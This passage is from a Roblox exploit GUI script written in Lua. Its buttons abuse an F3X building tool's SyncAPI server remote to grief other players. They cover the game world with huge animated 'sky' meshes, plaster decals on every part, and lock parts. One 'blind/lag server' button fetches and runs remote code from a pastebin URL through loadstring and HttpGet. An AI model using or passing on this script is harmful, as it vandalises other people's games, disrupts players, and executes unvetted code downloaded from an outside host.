UDim2.new(0.24, 0, 0.5, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Get out frog sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Epik skeleton dancing F3X By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint local RunService = game:GetService("RunService") function _(args) remote:InvokeServer(unpack(args)) end function CreatePart(cf, parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function SetAnchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetTransparency(part, value) local args = { [1] = "SyncTransparency", [2] = { [1] = { ["Part"] = part, ["Transparency"] = value } } } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local images = { "http://www.roblox.com/asset/?id=88387114383441", "http://www.roblox.com/asset/?id=80307658796395", "http://www.roblox.com/asset/?id=89698227663709", "http://www.roblox.com/asset/?id=94071530336475", "http://www.roblox.com/asset/?id=132128840663861", "http://www.roblox.com/asset/?id=73640982883614" } local skyPart local skyLoop local frameTime = 1 / 10 local lastUpdate = 0 function CreateSky() local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then return end local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 80, 0)), workspace) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 80, 0) then skyPart = v SetAnchor(skyPart, true) AddMesh(skyPart) SetMesh(skyPart, "111891702759441") MeshResize(skyPart, Vector3.new(99999, 99999, 99999)) SetTransparency(skyPart, 1) local index = 1 skyLoop = RunService.Heartbeat:Connect(function(deltaTime) lastUpdate = lastUpdate + deltaTime if lastUpdate >= frameTime then lastUpdate = 0 if not skyPart then skyLoop:Disconnect() return end SetTransparency(skyPart, 0) SetTexture(skyPart, images[index]) index = index % #images + 1 end end) end end end function ResetSky() if skyPart then DestroyPart(skyPart) skyPart = nil end if skyLoop then skyLoop:Disconnect() skyLoop = nil end CreateSky() end player.CharacterAdded:Connect(function(newChar) char = newChar ResetSky() end) if char and char:FindFirstChild("Humanoid") then char:WaitForChild("Humanoid").Died:Connect(function() ResetSky() end) end CreateSky() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.5, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "pbj sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Epik skeleton dancing F3X By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint local RunService = game:GetService("RunService") function _(args) remote:InvokeServer(unpack(args)) end function CreatePart(cf, parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function SetAnchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetTransparency(part, value) local args = { [1] = "SyncTransparency", [2] = { [1] = { ["Part"] = part, ["Transparency"] = value } } } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local images = { "http://www.roblox.com/asset/?id=93445426456236", "http://www.roblox.com/asset/?id=118193329351893", "http://www.roblox.com/asset/?id=102452647768643", "http://www.roblox.com/asset/?id=126774820251277", "http://www.roblox.com/asset/?id=124372039754034", "http://www.roblox.com/asset/?id=103051446442176", "http://www.roblox.com/asset/?id=86468268513228", "http://www.roblox.com/asset/?id=131728081878279" } local skyPart local skyLoop local frameTime = 1 / 10 local lastUpdate = 0 function CreateSky() local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then return end local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 80, 0)), workspace) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 80, 0) then skyPart = v SetAnchor(skyPart, true) AddMesh(skyPart) SetMesh(skyPart, "111891702759441") MeshResize(skyPart, Vector3.new(99999, 99999, 99999)) SetTransparency(skyPart, 1) local index = 1 skyLoop = RunService.Heartbeat:Connect(function(deltaTime) lastUpdate = lastUpdate + deltaTime if lastUpdate >= frameTime then lastUpdate = 0 if not skyPart then skyLoop:Disconnect() return end SetTransparency(skyPart, 0) SetTexture(skyPart, images[index]) index = index % #images + 1 end end) end end end function ResetSky() if skyPart then DestroyPart(skyPart) skyPart = nil end if skyLoop then skyLoop:Disconnect() skyLoop = nil end CreateSky() end player.CharacterAdded:Connect(function(newChar) char = newChar ResetSky() end) if char and char:FindFirstChild("Humanoid") then char:WaitForChild("Humanoid").Died:Connect(function() ResetSky() end) end CreateSky() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.5, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "blind/lag server" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/70bB4R5J"))() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.54, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "skeleton sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Epik skeleton dancing F3X By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint local RunService = game:GetService("RunService") function _(args) remote:InvokeServer(unpack(args)) end function CreatePart(cf, parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function SetAnchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetTransparency(part, value) local args = { [1] = "SyncTransparency", [2] = { [1] = { ["Part"] = part, ["Transparency"] = value } } } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local images = { "http://www.roblox.com/asset/?id=169585459", "http://www.roblox.com/asset/?id=169585475", "http://www.roblox.com/asset/?id=169585485", "http://www.roblox.com/asset/?id=169585502", "http://www.roblox.com/asset/?id=169585515", "http://www.roblox.com/asset/?id=169585502", "http://www.roblox.com/asset/?id=169585485", "http://www.roblox.com/asset/?id=169585475" } local skyPart local skyLoop local frameTime = 1 / 10 local lastUpdate = 0 function CreateSky() local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then return end local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)), workspace) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then skyPart = v SetAnchor(skyPart, true) AddMesh(skyPart) SetMesh(skyPart, "111891702759441") MeshResize(skyPart, Vector3.new(99999, 99999, 99999)) SetTransparency(skyPart, 1) local index = 1 skyLoop = RunService.Heartbeat:Connect(function(deltaTime) lastUpdate = lastUpdate + deltaTime if lastUpdate >= frameTime then lastUpdate = 0 if not skyPart then skyLoop:Disconnect() return end SetTransparency(skyPart, 0) SetTexture(skyPart, images[index]) index = index % #images + 1 end end) end end end function ResetSky() if skyPart then DestroyPart(skyPart) skyPart = nil end if skyLoop then skyLoop:Disconnect() skyLoop = nil end CreateSky() end player.CharacterAdded:Connect(function(newChar) char = newChar ResetSky() end) if char and char:FindFirstChild("Humanoid") then char:WaitForChild("Humanoid").Died:Connect(function() ResetSky() end) end CreateSky() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.54, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Skeleton decal" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("169585459") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.54, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Sky 3" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("77695565531189") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.54, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Decal 3" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("77695565531189") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.58, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "muscle man sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("114286376453289") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.58, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "muscle man decal" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function 